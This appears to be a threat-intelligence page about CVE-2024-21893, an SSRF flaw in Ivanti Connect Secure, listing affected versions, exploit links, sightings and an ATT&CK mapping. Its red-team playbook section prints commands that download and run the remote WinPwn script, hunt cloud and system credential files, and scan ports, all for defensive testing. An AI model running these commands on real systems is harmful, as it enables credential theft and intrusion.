CVE-2024-21893

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 31/01 Upd 04/08

Overview

This vulnerability is a server-side request forgery (SSRF) flaw rooted in improper validation within the SAML component of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA. The flaw arises from the SAML processing logic failing to restrict or sanitize URLs that the server fetches, enabling unauthorized internal resource access. The affected component specifically mishandles SAML authentication requests, allowing crafted input to trigger SSRF behavior.

Vulnerability Description

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Impact

An unauthenticated attacker can exploit this vulnerability to access internal network resources that are normally restricted, potentially exposing sensitive data or internal services. Because no authentication or user interaction is required, the attacker can perform reconnaissance or pivot within the network environment. This unauthorized access can lead to data breaches or facilitate further exploitation of internal systems, impacting confidentiality and network integrity.

Solution

Ivanti has published a security advisory detailing patches for Ivanti Connect Secure and Ivanti Policy Secure addressing this SSRF vulnerability. Users should upgrade affected products to the latest versions as specified in the vendor advisory available at https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US. The advisory includes version-specific patches and recommended configuration changes to mitigate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A server-side request forgery (SSRF) vulnerability has been identified in the SAML component of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for Zero Trust Access. This flaw allows an attacker to send crafted requests from the vulnerable server to internal or external resources, bypassing authentication mechanisms. The vulnerability arises from improper validation of user-supplied input, enabling an attacker to manipulate requests that the server processes. This can lead to unauthorized access to sensitive internal resources, such as databases or internal APIs, which are typically protected by authentication protocols.

The attack vector for this vulnerability is particularly concerning due to its potential for exploitation without requiring extensive technical skills. An attacker could leverage this flaw by crafting a malicious request that the server interprets as legitimate. For instance, an attacker could target endpoints that are not directly accessible from the internet, effectively using the server as a proxy to access restricted resources. This could include accessing sensitive configuration files, internal services, or even executing commands on the server itself, depending on the configuration and security measures in place. The ease of exploitation makes this vulnerability a significant threat to organizations using the affected products.

The real-world impact of this vulnerability can be severe, particularly for organizations that rely on these Ivanti products for secure access and policy enforcement. Unauthorized access to internal resources can lead to data breaches, loss of sensitive information, and potential regulatory penalties. Additionally, the exploitation of this vulnerability could facilitate further attacks, such as lateral movement within a network, allowing attackers to escalate privileges or deploy malware. The business risks associated with such incidents include reputational damage, financial loss, and the costs associated with incident response and remediation efforts.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in their systems. Additionally, monitoring network traffic for unusual patterns or unauthorized access attempts can provide early warning signs of exploitation. Organizations should also ensure that their systems are updated to the latest versions, as vendors typically release patches to address known vulnerabilities. Implementing strict input validation and output encoding practices can further reduce the risk of SSRF attacks by ensuring that user-supplied data is properly sanitized before being processed by the server.

In conclusion, the server-side request forgery vulnerability in the SAML component of Ivanti products poses a significant threat to organizations that utilize these systems. The potential for unauthorized access to sensitive resources, combined with the ease of exploitation, underscores the importance of proactive security measures. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the integrity and confidentiality of their systems and data.




CSURFACE threat intelligence has detected a slight increase in activity exploiting the SSRF vulnerability identified as CVE-2024-21893 in Ivanti Connect Secure and related products. This uptick coincides with the continued availability of multiple proof-of-concept exploits and a Metasploit module that chains this SSRF flaw with a command injection vulnerability, facilitating unauthenticated remote code execution. While the overall exploitation trend remains stable, the presence of these publicly accessible tools lowers the barrier for adversaries, including ransomware-affiliated groups, to leverage this vulnerability in targeted attacks. Consequently, the risk profile for affected organizations has intensified, underscoring the urgency for defenders to maintain vigilant monitoring. Although no new ransomware campaigns have been definitively linked to this vulnerability since the last update, the persistent association with known ransomware actors keeps this threat vector highly relevant in the current landscape.



Update 2 — July 03, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-21893, with telemetry indicating a significant uptick in adversary activity leveraging this SSRF vulnerability. This increase coincides with the wider availability of new proof-of-concept exploit tools and an updated Metasploit module that chains CVE-2024-21893 with CVE-2024-21887 to achieve unauthenticated remote code execution. The enhanced accessibility of these tools lowers the technical barrier for threat actors, including ransomware-affiliated groups, to conduct successful intrusions against vulnerable Ivanti Connect Secure and Policy Secure deployments. Although the overall exploitation trend remains stable, the sharp rise in detection events signals growing attacker interest and operational use. This development elevates the threat level, reinforcing the vulnerability’s criticality in the current threat landscape and underscoring the need for heightened vigilance among defenders monitoring for exploitation attempts.



Update 3 — July 11, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the SSRF vulnerability in Ivanti Connect Secure and related products. This surge in activity coincides with the wider availability of new proof-of-concept exploit toolkits that combine CVE-2024-21893 with adjacent vulnerabilities to facilitate unauthenticated remote code execution. Our telemetry indicates that threat actors, including ransomware-affiliated groups, are increasingly leveraging these tools to gain unauthorized access to restricted resources. Although the overall exploitation trend remains stable according to EPSS metrics, the sharp rise in detection events on our sensors signals a growing operational focus on this vulnerability. This development elevates the risk profile for organizations running vulnerable Ivanti versions, as the enhanced exploit accessibility lowers the technical barrier for attackers and increases the likelihood of successful intrusions. Consequently, the threat level associated with CVE-2024-21893 should be considered heightened, reflecting both the intensifying adversary interest and the expanding toolkit ecosystem supporting exploitation efforts.



Update 4 — July 20, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-21893, coinciding with the emergence of additional publicly available proof-of-concept exploits and an updated Metasploit module that chains this SSRF vulnerability with a related command injection flaw. This expanded exploit ecosystem significantly lowers the technical barriers for adversaries, enabling a broader range of threat actors—including ransomware groups previously linked to this vulnerability—to operationalize attacks more efficiently. Although EPSS scores remain stable, the surge in detection events on our sensors reflects increased attacker focus and active exploitation campaigns in the wild. This development elevates the threat level for organizations running vulnerable Ivanti Connect Secure and Policy Secure versions, as the likelihood of successful unauthenticated access and subsequent compromise has grown. Defenders should consider the risk profile heightened due to both the intensification of adversary activity and the growing availability of sophisticated exploitation tools.

Affected Products (118)

Vendor Product Version CPE
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r10:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12:*:*:*:*:*:*
+98 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893
sfewer-r7 Unknown - View

GitHub PoCs (2)

Repository Author Stars Forks Date Link
h4x0r-dz/CVE-2024-21893.py
CVE-2024-21893: SSRF Vulnerability in Ivanti Connect Secure
h4x0r-dz 94 18 2024-02-02 View
Chocapikk/CVE-2024-21893-to-CVE-2024-21887
CVE-2024-21893 to CVE-2024-21887 Exploit Toolkit
Chocapikk 27 4 2024-02-03 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

35 events
2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-02-02
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-01-31
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-01-31
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Server-Side Request Forgery
100% ssrf
Cross-Site Request Forgery
99% csrf
Authentication Bypass
72% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-664 Server Side Request Forgery
30%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-21893
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21893